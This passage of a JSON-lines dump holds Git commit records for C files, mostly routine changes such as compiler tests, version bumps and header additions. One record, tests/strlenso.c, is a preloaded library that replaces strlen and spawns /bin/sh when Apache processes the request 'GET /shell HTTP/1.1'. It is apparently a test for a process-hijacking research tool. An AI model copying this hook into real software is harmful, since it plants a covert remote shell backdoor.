method.\n","lang":"C","license":"mit","repos":"montehurd\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,montehurd\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,montehurd\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,julienbodet\/wikipedia-ios,wikimedia\/wikipedia-ios,wikimedia\/wikipedia-ios,wikimedia\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,josve05a\/wikipedia-ios,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,josve05a\/wikipedia-ios,wikimedia\/wikipedia-ios,josve05a\/wikipedia-ios,josve05a\/wikipedia-ios,montehurd\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,julienbodet\/wikipedia-ios,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,wikimedia\/apps-ios-wikipedia"}
{"commit":"3f6c9bff6c30791a0c7188733658aaf879ab86a1","old_file":"tests\/full_semantic_errors.c","new_file":"tests\/full_semantic_errors.c","old_contents":"\nint global_a;\nstruct foo\n{\n    \/\/ redefinition in struct declaration\n    int a;\n    int a;\n    float b;\n};\n\/\/ redefinition of foo\nstruct foo\n{\n    float a;\n    int b;\n};\n\/\/ redefinition in function arguments\nint a_func(int a, int a)\n{\n    return 1;\n}\n\nint func(int c, int d, float f)\n{\n    int b = 1;\n    float test_array[10];\n    b = c;\n    b = c * d + 6 * 7.0;\n    \/\/ undefined variable 'h'\n    h = !f;\n    \/\/ '[]' used on non-array variable\n    b[1] = 2;\n    \/\/ undefine variable 'nono'\n    nono[0] = 3;\n    \n\n    return c * d;\n}\n\n\/\/ redefinition of func\nint func()\n{\n    return 1;\n}\n\nvoid main()\n{\n    int aaa[10];\n    \/\/ redefinition of 'duplicate'\n    int duplicate[1];\n    int duplicate;\n    struct foo bar;\n    \/\/ incomplete type\n    struct b incomplete_type;\n    bar.a = 1;\n    \/\/ '.' used on non-struct variables\n    aaa.abc = 2;\n    \/\/ undefined variable 'a'\n    func(2.5, a, aaa[0]);\n    return;\n}\n\n","new_contents":"\nint global_a;\nstruct foo\n{\n    \/\/ redefinition in struct declaration\n    int a;\n    int a;\n    float b;\n};\n\/\/ redefinition of foo\nstruct foo\n{\n    float a;\n    int b;\n};\n\/\/ redefinition in function arguments\nint a_func(int a, int a)\n{\n    return 1;\n}\n\nint func(int c, int d, float f)\n{\n    int b = 1;\n    float test_array[10];\n    b = c;\n    b = c * d + 6 * 7.0;\n    \/\/ undefined variable 'h'\n    h = !f;\n    \/\/ '[]' used on non-array variable\n    b[1] = 2;\n    \/\/ undefine variable 'nono'\n    nono[0] = 3;\n    \n\n    return c * d;\n}\n\n\/\/ redefinition of func\nint func()\n{\n    return 1;\n}\n\nvoid main()\n{\n    int aaa[10];\n    \/\/ redefinition of 'duplicate'\n    int duplicate[1];\n    int duplicate;\n    struct foo bar;\n    \/\/ incomplete type\n    struct b incomplete_type;\n    bar.a = 1;\n    \/\/ illegal member access\n    bar.abc = 2;\n    \/\/ '.' used on non-struct variables\n    aaa.abc = 2;\n    \/\/ undefined variable 'a'\n    func(2.5, a, aaa[0]);\n    \/\/ undefined function name\n    b_func(1);\n    \/\/ '()' used on non-function\n    aaa(2);\n    return;\n}\n\n","subject":"Add illegal member access and undefined function name error.","message":"Add illegal member access and undefined function name error.\n","lang":"C","license":"mit","repos":"RyanWangGit\/scc"}
{"commit":"42f0093f5f5ed7d30b77b927966cb64025889811","old_file":"config.h","new_file":"config.h","old_contents":"#ifndef CONFIG\n#define CONFIG\n\n#define VERSION             179\n\n\/\/try to keep this in sync.\n\/\/SavvyCAN will complain if you connect a GVRET board with a revision\n\/\/less than this number.\n#define CURRENT_GVRET_VER   334\n\n#endif \/\/ CONFIG\n\n","new_contents":"#ifndef CONFIG\n#define CONFIG\n\n#define VERSION             180\n\n\/\/try to keep this in sync.\n\/\/SavvyCAN will complain if you connect a GVRET board with a revision\n\/\/less than this number.\n#define CURRENT_GVRET_VER   343\n\n#endif \/\/ CONFIG\n\n","subject":"Update requested GVRET version to 343 which is where stable support for M2 and CANDue2.2 are found.","message":"Update requested GVRET version to 343 which is where stable support\nfor M2 and CANDue2.2 are found.\n","lang":"C","license":"mit","repos":"collin80\/SavvyCAN,collin80\/SavvyCAN,collin80\/SavvyCAN,collin80\/SavvyCAN,collin80\/SavvyCAN"}
{"commit":"400b6fb7262eacbafb8ad6878af9a2e9839d0889","old_file":"test\/get-compositor.c","new_file":"test\/get-compositor.c","old_contents":"","new_contents":"#include <X11\/X.h>\n#include <X11\/Xatom.h>\n#include <X11\/Xlib.h>\n#include <stdio.h>\n\nint main() {\n  Display *display = XOpenDisplay(NULL);\n  if (display == NULL) {\n    fprintf(stderr, \"Could not connect to $DISPLAY.\\n\");\n    return 1;\n  }\n  char buf[32];\n  snprintf(buf, sizeof(buf), \"_NET_WM_CM_S%d\", (int)DefaultScreen(display));\n  Atom atom = XInternAtom(display, buf, False);\n  Window w = XGetSelectionOwner(display, atom);\n  if (w == None) {\n    fprintf(stderr, \"No compositor detected.\\n\");\n    return 1;\n  }\n  printf(\"%#llx\\n\", (unsigned long long)w);\n  return 0;\n}\n","subject":"Add a simple tool to print the window ID of a currently running compositor.","message":"Add a simple tool to print the window ID of a currently running compositor.\n\nPossibly interesting use: xprop -id `.\/get-compositor`.\n","lang":"C","license":"apache-2.0","repos":"google\/xsecurelock,google\/xsecurelock"}
{"commit":"7711fe4d9cfcb73bc5b4b58ec2120f1863400f6b","old_file":"test2\/casts\/rm_qual.c","new_file":"test2\/casts\/rm_qual.c","old_contents":"\/\/ RUN: %check %s\n\nstruct A\n{\n\tint i;\n};\n\nint f(const void *p)\n{\n\tstruct A *a = p; \/\/ CHECK: warning: implicit cast removes qualifiers (const)\n\tstruct A *b = (struct A *)p; \/\/ CHECK: !\/warning:.*cast removes qualifiers\/\n\n\t(void)a;\n\t(void)b;\n}\n","new_contents":"\/\/ RUN: %check %s\n\nstruct A\n{\n\tint i;\n};\n\nvoid take(void *);\n\nint f(const void *p)\n{\n\tstruct A *a = p; \/\/ CHECK: warning: implicit cast removes qualifiers (const)\n\tstruct A *b = (struct A *)p; \/\/ CHECK: !\/warning:.*cast removes qualifiers\/\n\n\t(void)a;\n\t(void)b;\n\n\tconst char c = 5;\n\ttake(&c); \/\/ CHECK: warning: implicit cast removes qualifiers (const)\n}\n","subject":"Add another case to qualifier-removal test","message":"Add another case to qualifier-removal test\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"f1dc5b21241d0b16bb62f8ede6990476f87466d9","old_file":"src\/main.h","new_file":"src\/main.h","old_contents":"#pragma once\n#include <unistd.h>\n\n#include <algorithm>\n#include <cstdarg>\n#include <exception>\n#include <functional>\n#include <iostream>\n#include <list>\n#include <map>\n#include <memory>\n#include <queue>\n#include <set>\n#include <sstream>\n#include <string>\n#include <thread>\n#include <tuple>\n#include <unordered_map>\n#include <utility>\n#include <vector>\n\nconst std::string BotVersion (\"3.0.0-devel\");\nconst unsigned int BotVersionNum = 2800;","new_contents":"#pragma once\n#include <unistd.h>\n\n#include <algorithm>\n#include <cstdarg>\n#include <exception>\n#include <functional>\n#include <iostream>\n#include <list>\n#include <map>\n#include <memory>\n#include <mutex>\n#include <queue>\n#include <set>\n#include <sstream>\n#include <string>\n#include <thread>\n#include <tuple>\n#include <unordered_map>\n#include <utility>\n#include <vector>\n\nconst std::string BotVersion (\"3.0.0-devel\");\nconst unsigned int BotVersionNum = 2800;","subject":"Add <mutex> to the list of includes","message":"Add <mutex> to the list of includes\n","lang":"C","license":"mit","repos":"ElementalAlchemist\/RoBoBo,ElementalAlchemist\/RoBoBo"}
{"commit":"79e7b91e87e8fa1c68785aa95e4c9ec090e75768","old_file":"src\/asm\/riscv-sbi.h","new_file":"src\/asm\/riscv-sbi.h","old_contents":"","new_contents":"\/\/\n\/\/  riscv-sbi.h\n\/\/\n\n#ifndef riscv_sbi_h\n#define riscv_sbi_h\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nconst char* sbi_get_config(void);\nsize_t sbi_hart_id(void);\nint sbi_send_ipi(size_t hart_id);\nbool sbi_clear_ipi(void);\nvoid sbi_shutdown(void);\nint sbi_console_putchar(uint8_t ch);\nint sbi_console_getchar(void);\nvoid sbi_remote_sfence_vm(const uintptr_t* harts, size_t asid);\nvoid sbi_remote_sfence_vm_range(const uintptr_t* harts, size_t asid, uintptr_t start, uintptr_t size);\nvoid sbi_remote_fence_i(const uintptr_t* harts);\nint sbi_mask_interrupt(int which);\nint sbi_unmask_interrupt(int which);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif","subject":"Add Supervisor Binary Interface (SBI) header","message":"Add Supervisor Binary Interface (SBI) header\n","lang":"C","license":"mit","repos":"rv8-io\/rv8,rv8-io\/rv8,rv8-io\/rv8"}
{"commit":"71a62fbfeaef46dc5cd7030e61a5b2014fbb6cb6","old_file":"test\/Frontend\/ir-support.c","new_file":"test\/Frontend\/ir-support.c","old_contents":"","new_contents":"\/\/ Test that we can consume LLVM IR\/bitcode in the frontend and produce\n\/\/ identical output to a standard compilation.\n\n\/\/ Reference output:\n\/\/ RUN: %clang_cc1 -S -o %t.s %s\n\n\/\/ LLVM bitcode:\n\/\/ RUN: %clang_cc1 -emit-llvm-bc -o %t.bc %s\n\/\/ RUN: %clang_cc1 -S -o - %t.bc > %t.bc.s\n\/\/ RUN: diff %t.s %t.bc.s\n\n\/\/ LLVM IR source code:\n\/\/ RUN: %clang_cc1 -emit-llvm-bc -o %t.ll %s\n\/\/ RUN: %clang_cc1 -S -o - %t.ll > %t.ll.s\n\/\/ RUN: diff %t.s %t.ll.s\n\nint f() { return 0; }\n","subject":"Add test coverage for .bc input in the frontend","message":"Add test coverage for .bc input in the frontend\n\nTest that we can consume LLVM bitcode and additionally check that it produces\nthe same output as a direct compilation.\n\nThe feature is crashy and has gone untested until now, but we might as well\nprovide some coverage as long as it remains in tree.\n\nAlso test LL source input in the same way because the existing tests for that\ndon't look convincing.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@211844 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"4be94c72d54a91d5b47b8b7fc5949160fd78c9d2","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       2\n#define CLIENT_VERSION_MINOR       2\n#define CLIENT_VERSION_REVISION    1\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       2\n#define CLIENT_VERSION_MINOR       2\n#define CLIENT_VERSION_REVISION    2\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Set version for upcoming bugfix release","message":"Set version for upcoming bugfix release\n","lang":"C","license":"mit","repos":"spectrecoin\/spectre,spectrecoin\/spectre,spectrecoin\/spectre,spectrecoin\/spectre,spectrecoin\/spectre,spectrecoin\/spectre"}
{"commit":"4c52274889c8c24e347890fa97f0b1518b80cdad","old_file":"tests\/strlenso.c","new_file":"tests\/strlenso.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <dlfcn.h>\n#include <unistd.h>\n\n#include <sys\/types.h>\n#include <dirent.h>\n\nstatic void *dl;\nsize_t (*orig_strlen)(const char *);\n\n__attribute__((constructor)) void stub(void)\n{\n\tdl = dlopen(\"\/lib\/libc.so.6\", RTLD_LAZY | RTLD_GLOBAL);\n\torig_strlen = dlsym(dl, \"strlen\");\n\t\n}\n\nsize_t strlen(const char *s)\n{\n\tFILE *fp;\n\tchar filename[1024+1];\n\t\n\tif (!strcmp(s, \"GET \/shell HTTP\/1.1\"))\n\t{\n\t\tsnprintf(filename, sizeof(filename), \"\/tmp\/mal-%d.log\", getpid());\n\t\tfp = fopen(filename, \"a\");\n\t\tif ((fp))\n\t\t{\n\t\n\t\t\tfprintf(fp, \"Attempting to start shell!\\n\");\n\t\t\tfclose(fp);\n\t\t}\n\t\t\n\t\tprintf(\"Muahahaha!\\n\");\n\t\t\n\t\texecl(\"\/bin\/sh\", \"sh\", NULL);\n\t}\n\t\n\treturn orig_strlen(s);\n}\n","subject":"Add test strlen so for hijacking apache's strlen","message":"Add test strlen so for hijacking apache's strlen\n","lang":"C","license":"bsd-2-clause","repos":"sigma-random\/libhijack,sigma-random\/libhijack,SoldierX\/libhijack"}
{"commit":"f6890fe5dbf709d7edc28413f8250f0077d2f006","old_file":"RISCOS\/Modules\/getpath_riscos.c","new_file":"RISCOS\/Modules\/getpath_riscos.c","old_contents":"#include \"Python.h\"\n#include \"osdefs.h\"\n\nstatic char *prefix,*exec_prefix,*progpath,*module_search_path=0;\n\nstatic void\ncalculate_path()\n{ char *pypath=getenv(\"Python$Path\");\n  if(pypath)\n  { module_search_path=malloc(strlen(pypath)+1);\n    if (module_search_path) sprintf(module_search_path,\"%s\",pypath);\n    else\n    {  \/* We can't exit, so print a warning and limp along *\/\n       fprintf(stderr, \"Not enough memory for dynamic PYTHONPATH.\\n\");\n       fprintf(stderr, \"Using default static PYTHONPATH.\\n\");\n    }\n  }\n  if(!module_search_path) module_search_path = \"<Python$Dir>.Lib\";\n  prefix=\"<Python$Dir>\";\n  exec_prefix=prefix;\n  progpath=Py_GetProgramName();\n}\n\n\/* External interface *\/\n\nchar *\nPy_GetPath()\n{\n\tif (!module_search_path)\n\t\tcalculate_path();\n\treturn module_search_path;\n}\n\nchar *\nPy_GetPrefix()\n{\n\tif (!module_search_path)\n\t\tcalculate_path();\n\treturn prefix;\n}\n\nchar *\nPy_GetExecPrefix()\n{\n\tif (!module_search_path)\n\t\tcalculate_path();\n\treturn exec_prefix;\n}\n\nchar *\nPy_GetProgramFullPath()\n{\n\tif (!module_search_path)\n\t\tcalculate_path();\n\treturn progpath;\n}\n","new_contents":"#include \"Python.h\"\n#include \"osdefs.h\"\n\nstatic char *prefix, *exec_prefix, *progpath, *module_search_path=NULL;\n\nstatic void\ncalculate_path()\n{ \n\tchar *pypath = getenv(\"Python$Path\");\n\tif (pypath) {\n\t\tint pathlen = strlen(pypath);\n\t\tmodule_search_path = malloc(pathlen + 1);\n\t\tif (module_search_path) \n\t\t\tstrncpy(module_search_path, pypath, pathlen);\n\t\telse {\n\t\t\tfprintf(stderr, \n\t\t\t\t\"Not enough memory for dynamic PYTHONPATH.\\n\"\n\t\t\t\t\"Using default static PYTHONPATH.\\n\");\n\t\t}\n\t}\n\tif (!module_search_path) \n\t\tmodule_search_path = \"<Python$Dir>.Lib\";\n\tprefix = \"<Python$Dir>\";\n\texec_prefix = prefix;\n\tprogpath = Py_GetProgramName();\n}\n\n\/* External interface *\/\n\nchar *\nPy_GetPath()\n{\n\tif (!module_search_path)\n\t\tcalculate_path();\n\treturn module_search_path;\n}\n\nchar *\nPy_GetPrefix()\n{\n\tif (!module_search_path)\n\t\tcalculate_path();\n\treturn prefix;\n}\n\nchar *\nPy_GetExecPrefix()\n{\n\tif (!module_search_path)\n\t\tcalculate_path();\n\treturn exec_prefix;\n}\n\nchar *\nPy_GetProgramFullPath()\n{\n\tif (!module_search_path)\n\t\tcalculate_path();\n\treturn progpath;\n}\n","subject":"Use strncpy() instead of sprintf() in calculate_path().","message":"Use strncpy() instead of sprintf() in calculate_path().\n\nAlso reformat calculate_path() using the standard format.\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"2855f6de3836d6e6c1ee7846851bc27930824d2b","old_file":"src\/event.h","new_file":"src\/event.h","old_contents":"#define JLOG LOG\n#define HLOG(D_msg)     JLOG(\"HNDL: \" << D_msg)\n\nenum class EventType\n{\n    Trigger,\n    Disconnect\n};\n\ninline std::string toString(EventType type)\n{\n    switch (type)\n    {\n    case EventType::Trigger:\n        return \"trigger\";\n    \n    case EventType::Disconnect:\n        return \"disconnect\";\n    \n    default:\n        RAISE(\"Unknown event type\");\n    }\n}\n\ninline std::ostream& operator<<(std::ostream& o, EventType type)\n{\n    return o << toString(type);\n}\n\nstruct NodeHandler : Handler\n{\n    using Handler::Handler;\n    \n    \/\/ FIX: workaround GCC 4.9\n    NodeHandler(Handler&& h) : Handler(std::move(h)) {}\n\n    std::string name;\n    EventType type;\n    \n    \/\/ container section\n    ListHook queue; \/\/ list of scheduled handlers\n    \/\/ListHook front; \/\/ list of available handlers\n    \n    void invoke()\n    {\n        HLOG(\"invoking: \" << name << \" [\" << type << \"]\");\n        (*this)();\n        delete this;\n    }\n    \n    static NodeHandler& create(Handler handler, std::string name, EventType type)\n    {\n        HLOG(\"creating: \" << name);\n        auto* h = new NodeHandler(std::move(handler));\n        h->name = std::move(name);\n        h->type = type;\n        return *h;\n    }\n};\n\n","new_contents":"#define JLOG LOG\n#define HLOG(D_msg)     JLOG(\"HNDL: \" << D_msg)\n\nenum class EventType\n{\n    Trigger,\n    Disconnect\n};\n\ninline std::string toString(EventType type)\n{\n    switch (type)\n    {\n    case EventType::Trigger:\n        return \"trigger\";\n    \n    case EventType::Disconnect:\n        return \"disconnect\";\n    \n    default:\n        RAISE(\"Unknown event type\");\n    }\n}\n\ninline std::ostream& operator<<(std::ostream& o, EventType type)\n{\n    return o << toString(type);\n}\n\nstruct NodeHandler;\n\ninline void attach(NodeHandler& h);\n\nstruct NodeHandler : Handler\n{\n    using Handler::Handler;\n    \n    \/\/ FIX: workaround GCC 4.9\n    NodeHandler(Handler&& h) : Handler(std::move(h)) {}\n\n    std::string name;\n    EventType type;\n    \n    \/\/ container section\n    ListHook queue; \/\/ list of scheduled handlers\n    ListHook all;   \/\/ list of all handlers\n    \n    void invoke()\n    {\n        HLOG(\"invoking: \" << name << \" [\" << type << \"]\");\n        (*this)();\n        delete this;\n    }\n    \n    static NodeHandler& create(Handler handler, std::string name, EventType type)\n    {\n        HLOG(\"creating: \" << name);\n        auto* h = new NodeHandler(std::move(handler));\n        attach(*h);\n        h->name = std::move(name);\n        h->type = type;\n        return *h;\n    }\n};\n\nusing Handlers = List<NodeHandler, &NodeHandler::all>;\n\ninline void attach(NodeHandler& h)\n{\n    An<Handlers>()->push_back(h);\n}\n","subject":"Add handlers to the common list","message":"Add handlers to the common list\n","lang":"C","license":"apache-2.0","repos":"gridem\/DAVE"}
{"commit":"db02329581ccd65614b1d81c9b121debb1e8e22e","old_file":"src\/fake-lock-screen-pattern.h","new_file":"src\/fake-lock-screen-pattern.h","old_contents":"#ifndef _FAKE_LOCK_SCREEN_PATTERN_H_\n#define _FAKE_LOCK_SCREEN_PATTERN_H_\n\n#include <gtk\/gtk.h>\n\n#if !GTK_CHECK_VERSION(3, 0, 0)\ntypedef struct {\n  gdouble red;\n  gdouble green;\n  gdouble blue;\n  gdouble alpha;\n} GdkRGBA;\n#endif\n\ntypedef struct _FakeLockOption {\n  void *module;\n  gchar *real;\n  gchar *dummy;\n} FakeLockOption;\n\ntypedef struct {\n  gboolean marked;\n  gint value;\n  GdkPoint top_left;\n  GdkPoint bottom_right;\n} FakeLockPatternPoint;\n\nvoid flsp_draw_circle(cairo_t *context,\n                      gint x, gint y, gint radius,\n                      GdkRGBA circle, GdkRGBA border);\n\ngboolean is_marked(gint x, gint y,\n                   gint *marked, void *user_data);\n\n#endif\n","new_contents":"#ifndef _FAKE_LOCK_SCREEN_PATTERN_H_\n#define _FAKE_LOCK_SCREEN_PATTERN_H_\n\n#include <gtk\/gtk.h>\n\n#if !GTK_CHECK_VERSION(3, 0, 0)\ntypedef struct {\n  gdouble red;\n  gdouble green;\n  gdouble blue;\n  gdouble alpha;\n} GdkRGBA;\n#endif\n\ntypedef struct _FakeLockOption {\n  void *module;\n  gchar *real;\n  gchar *dummy;\n} FakeLockOption;\n\ntypedef struct {\n  gboolean marked;\n  gint value;\n  GdkPoint top_left;\n  GdkPoint bottom_right;\n} FakeLockPatternPoint;\n\ntypedef enum {\n  FLSP_ONE_STROKE,\n  FLSP_ON_BOARD,\n  FLSP_N_PATTERN,\n} FakeLockScreenPattern;\n\nvoid flsp_draw_circle(cairo_t *context,\n                      gint x, gint y, gint radius,\n                      GdkRGBA circle, GdkRGBA border);\n\ngboolean is_marked(gint x, gint y,\n                   gint *marked, void *user_data);\n\n#endif\n","subject":"Add enum to distinct pattern","message":"Add enum to distinct pattern\n","lang":"C","license":"mit","repos":"kenhys\/fake-lock-screen-pattern,kenhys\/fake-lock-screen-pattern"}
{"commit":"11c7bdb4e410102af298943526a48fffa9a9eb19","old_file":"src\/include\/strdup.h","new_file":"src\/include\/strdup.h","old_contents":"\/* This is the prototype for the strdup() function which is distributed\n   with Postgres.  That strdup() is only needed on those systems that\n   don't already have strdup() in their system libraries.\n\n   The Postgres strdup() is in src\/utils\/strdup.c.\n*\/\n\nextern char *strdup(char const *);\n","new_contents":"\/* This is the prototype for the strdup() function which is distributed\n   with Postgres.  That strdup() is only needed on those systems that\n   don't already have strdup() in their system libraries.\n\n   The Postgres strdup() is in src\/port\/strdup.c.\n*\/\n\nextern char *strdup(char const *);\n","subject":"Fix an obsolete file path mentioned in a comment.","message":"Fix an obsolete file path mentioned in a comment.\n","lang":"C","license":"mpl-2.0","repos":"techdragon\/Postgres-XL,ovr\/postgres-xl,kmjungersen\/PostgresXL,techdragon\/Postgres-XL,adam8157\/gpdb,zeroae\/postgres-xl,oberstet\/postgres-xl,rubikloud\/gpdb,yazun\/postgres-xl,janebeckman\/gpdb,lintzc\/gpdb,edespino\/gpdb,cjcjameson\/gpdb,chrishajas\/gpdb,edespino\/gpdb,royc1\/gpdb,rvs\/gpdb,snaga\/postgres-xl,lisakowen\/gpdb,CraigHarris\/gpdb,Quikling\/gpdb,adam8157\/gpdb,rubikloud\/gpdb,jmcatamney\/gpdb,foyzur\/gpdb,lpetrov-pivotal\/gpdb,greenplum-db\/gpdb,jmcatamney\/gpdb,edespino\/gpdb,tpostgres-projects\/tPostgres,Quikling\/gpdb,rvs\/gpdb,royc1\/gpdb,cjcjameson\/gpdb,rubikloud\/gpdb,Postgres-XL\/Postgres-XL,Chibin\/gpdb,snaga\/postgres-xl,tangp3\/gpdb,jmcatamney\/gpdb,zeroae\/postgres-xl,janebeckman\/gpdb,edespino\/gpdb,Chibin\/gpdb,tpostgres-projects\/tPostgres,atris\/gpdb,randomtask1155\/gpdb,zeroae\/postgres-xl,zaksoup\/gpdb,kmjungersen\/PostgresXL,ahachete\/gpdb,rvs\/gpdb,edespino\/gpdb,lisakowen\/gpdb,Quikling\/gpdb,randomtask1155\/gpdb,atris\/gpdb,edespino\/gpdb,jmcatamney\/gpdb,rubikloud\/gpdb,yuanzhao\/gpdb,0x0FFF\/gpdb,foyzur\/gpdb,atris\/gpdb,adam8157\/gpdb,postmind-net\/postgres-xl,zaksoup\/gpdb,ashwinstar\/gpdb,xuegang\/gpdb,rubikloud\/gpdb,oberstet\/postgres-xl,rvs\/gpdb,royc1\/gpdb,pavanvd\/postgres-xl,postmind-net\/postgres-xl,techdragon\/Postgres-XL,techdragon\/Postgres-XL,randomtask1155\/gpdb,greenplum-db\/gpdb,royc1\/gpdb,chrishajas\/gpdb,randomtask1155\/gpdb,lpetrov-pivotal\/gpdb,xuegang\/gpdb,jmcatamney\/gpdb,zaksoup\/gpdb,tpostgres-projects\/tPostgres,kaknikhil\/gpdb,randomtask1155\/gpdb,greenplum-db\/gpdb,CraigHarris\/gpdb,postmind-net\/postgres-xl,0x0FFF\/gpdb,snaga\/postgres-xl,rubikloud\/gpdb,50wu\/gpdb,ahachete\/gpdb,tangp3\/gpdb,lpetrov-pivotal\/gpdb,xinzweb\/gpdb,CraigHarris\/gpdb,cjcjameson\/gpdb,50wu\/gpdb,chrishajas\/gpdb,rvs\/gpdb,xuegang\/gpdb,xuegang\/gpdb,edespino\/gpdb,yuanzhao\/gpdb,oberstet\/postgres-xl,50wu\/gpdb,arcivanov\/postgres-xl,royc1\/gpdb,ashwinstar\/gpdb,janebeckman\/gpdb,ahachete\/gpdb,zaksoup\/gpdb,arcivanov\/postgres-xl,adam8157\/gpdb,xuegang\/gpdb,lpetrov-pivotal\/gpdb,yazun\/postgres-xl,Postgres-XL\/Postgres-XL,tangp3\/gpdb,kaknikhil\/gpdb,lintzc\/gpdb,lpetrov-pivotal\/gpdb,cjcjameson\/gpdb,Chibin\/gpdb,royc1\/gpdb,rvs\/gpdb,techdragon\/Postgres-XL,rvs\/gpdb,ahachete\/gpdb,Chibin\/gpdb,atris\/gpdb,ahachete\/gpdb,kmjungersen\/PostgresXL,greenplum-db\/gpdb,Chibin\/gpdb,yazun\/postgres-xl,kaknikhil\/gpdb,pavanvd\/postgres-xl,janebeckman\/gpdb,Chibin\/gpdb,lintzc\/gpdb,lpetrov-pivotal\/gpdb,foyzur\/gpdb,0x0FFF\/gpdb,xinzweb\/gpdb,tangp3\/gpdb,rvs\/gpdb,yuanzhao\/gpdb,lisakowen\/gpdb,xinzweb\/gpdb,lintzc\/gpdb,yuanzhao\/gpdb,foyzur\/gpdb,50wu\/gpdb,lisakowen\/gpdb,ahachete\/gpdb,xinzweb\/gpdb,tangp3\/gpdb,CraigHarris\/gpdb,ovr\/postgres-xl,zaksoup\/gpdb,Quikling\/gpdb,tpostgres-projects\/tPostgres,rubikloud\/gpdb,chrishajas\/gpdb,janebeckman\/gpdb,randomtask1155\/gpdb,cjcjameson\/gpdb,Chibin\/gpdb,janebeckman\/gpdb,Chibin\/gpdb,zaksoup\/gpdb,ahachete\/gpdb,yuanzhao\/gpdb,lintzc\/gpdb,randomtask1155\/gpdb,zeroae\/postgres-xl,foyzur\/gpdb,postmind-net\/postgres-xl,lintzc\/gpdb,yuanzhao\/gpdb,0x0FFF\/gpdb,50wu\/gpdb,tpostgres-projects\/tPostgres,royc1\/gpdb,atris\/gpdb,lpetrov-pivotal\/gpdb,jmcatamney\/gpdb,kaknikhil\/gpdb,lintzc\/gpdb,lisakowen\/gpdb,cjcjameson\/gpdb,jmcatamney\/gpdb,zeroae\/postgres-xl,edespino\/gpdb,janebeckman\/gpdb,tangp3\/gpdb,50wu\/gpdb,cjcjameson\/gpdb,atris\/gpdb,Quikling\/gpdb,ovr\/postgres-xl,pavanvd\/postgres-xl,lisakowen\/gpdb,jmcatamney\/gpdb,rvs\/gpdb,adam8157\/gpdb,xuegang\/gpdb,edespino\/gpdb,greenplum-db\/gpdb,kaknikhil\/gpdb,janebeckman\/gpdb,zaksoup\/gpdb,ashwinstar\/gpdb,xinzweb\/gpdb,Postgres-XL\/Postgres-XL,chrishajas\/gpdb,ashwinstar\/gpdb,kmjungersen\/PostgresXL,Quikling\/gpdb,yuanzhao\/gpdb,yuanzhao\/gpdb,greenplum-db\/gpdb,rvs\/gpdb,arcivanov\/postgres-xl,lintzc\/gpdb,janebeckman\/gpdb,randomtask1155\/gpdb,greenplum-db\/gpdb,chrishajas\/gpdb,50wu\/gpdb,chrishajas\/gpdb,ovr\/postgres-xl,ashwinstar\/gpdb,kaknikhil\/gpdb,cjcjameson\/gpdb,pavanvd\/postgres-xl,arcivanov\/postgres-xl,0x0FFF\/gpdb,yuanzhao\/gpdb,kmjungersen\/PostgresXL,lisakowen\/gpdb,snaga\/postgres-xl,Quikling\/gpdb,0x0FFF\/gpdb,cjcjameson\/gpdb,tangp3\/gpdb,foyzur\/gpdb,snaga\/postgres-xl,atris\/gpdb,Quikling\/gpdb,xuegang\/gpdb,yazun\/postgres-xl,50wu\/gpdb,lintzc\/gpdb,xinzweb\/gpdb,Postgres-XL\/Postgres-XL,royc1\/gpdb,Quikling\/gpdb,CraigHarris\/gpdb,lpetrov-pivotal\/gpdb,CraigHarris\/gpdb,Chibin\/gpdb,kaknikhil\/gpdb,oberstet\/postgres-xl,arcivanov\/postgres-xl,adam8157\/gpdb,CraigHarris\/gpdb,ovr\/postgres-xl,Postgres-XL\/Postgres-XL,zaksoup\/gpdb,Chibin\/gpdb